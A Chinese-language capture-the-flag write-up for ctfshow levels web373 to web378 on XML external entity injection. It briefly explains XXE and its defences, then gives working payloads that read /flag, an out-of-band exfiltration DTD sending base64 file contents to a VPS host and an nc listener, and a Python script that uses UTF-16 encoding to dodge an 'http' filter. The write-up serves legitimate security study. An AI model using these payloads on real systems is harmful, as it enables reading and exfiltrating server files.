web373-web378XXE篇

2023/12/08 14:48:16

知识了解

可以参考这个:
https://blog.csdn.net/hk41666/article/details/125832666
https://blog.csdn.net/weixin_44420143/article/details/118721145

XXE(XML外部实体注入)是一种针对XML文档的攻击方式,能够使攻击者利用XML解析器的漏洞读取本地文件或者远程请求。
XXE攻击的原理是:

  • XML文档可以包含DOCTYPE定义,里面可以引用外部实体。
  • XML解析器在解析文档时,会根据DOCTYPE中的引用去获取外部资源。
  • 攻击者可以构造恶意的外部实体引用,让解析器去读取本地文件,或者发起请求到内网服务器。
  • 如果解析器没有禁用外部实体的加载,就可能导致文件内容泄露或远程代码执行。

XXE攻击的危害包括:

  • 读取系统敏感文件,如/etc/passwd
  • 利用文件协议读取本地文件
  • 端口扫描、对内网网站进行攻击
  • 攻击内网应用、数据库
  • 执行远程代码,调用恶意脚本

防范XXE攻击的方法:

  • 对不可信XML输入进行验证,过滤….\等威胁
  • 禁用解析器的外部实体加载功能
  • 使用安全的XML解析器,如defuse xml等
  • 避免上传XML文件或禁用DOCTYPE
  • 输出时进行过滤,移除POTENTIAL XXE payload

web373

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<aaa>
<ctfshow>
&xee;
</ctfshow>
</aaa>

image.png

web374-web376

无回显,需要创建一条外带信道来提取数据。
创建一个1.php内容:

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

xxe.dtd文件:

<!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://[vps-ip]/1.php?file=%file;'> ">
%dtd;
%xxe;
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>

将两个外部实体 (%file 和 %aaa) 引入 XML 文档中
%file 定义了一个实体,用于读取位于 /flag 路径下的文件并对其进行 base64 编码,则该文件的内容将以 base64编码的形式显示在 XML 响应中。
%aaa 定义了一个实体,指向远程 XML 文档。如果能够成功地利用此漏洞执行 XXE 攻击,则远程 XML 文档的内容将被解析并包含在XML 响应中。
payload中创建两个实体 通过%aaa访问了xxe.dtd
然后在xxe.dtd中引用了1.php,在1.php中实现了将get传入的file值输出在text.txt中,此时的get值就是payload中定义的file的实体的值,也就是说这里实现了对于flag文件的读取并且传递值给了file变量
~~但是这个我就是成功不了,test.txt出来的是index.php页面。 ~~docker的权限不足,给那个www目录足够权限即可。
剩余的
于是又再网上找了个打法:
payload

<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>

test.dtd:

<!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://xxx:8888/%file;'> ">
%dtd;
%xxe;

这个8888端口监听一下内容:

[root@iZf8z6xc36jyvoqjdvolkiZ www]# nc -lvnp 8888
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 124.223.158.81.
Ncat: Connection from 124.223.158.81:48628.
GET /Y3Rmc2hvd3swOWU5NTllMy1iZGJmLTRlZTktOTc2Ni00NWE3ODQ2YWNjYWJ9Cg== HTTP/1.0
Host: 47.115.204.101:8888
Connection: close

解码一下其中的base64文本。得到flag。

web377

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    


过滤了http 但是可以用utf-16绕过。用python脚本:

import requests
url = 'http://0ec4fe9d-6949-4e9d-a3b1-70be3bb3f01b.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378

以xml格回显:
image.png
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

image.png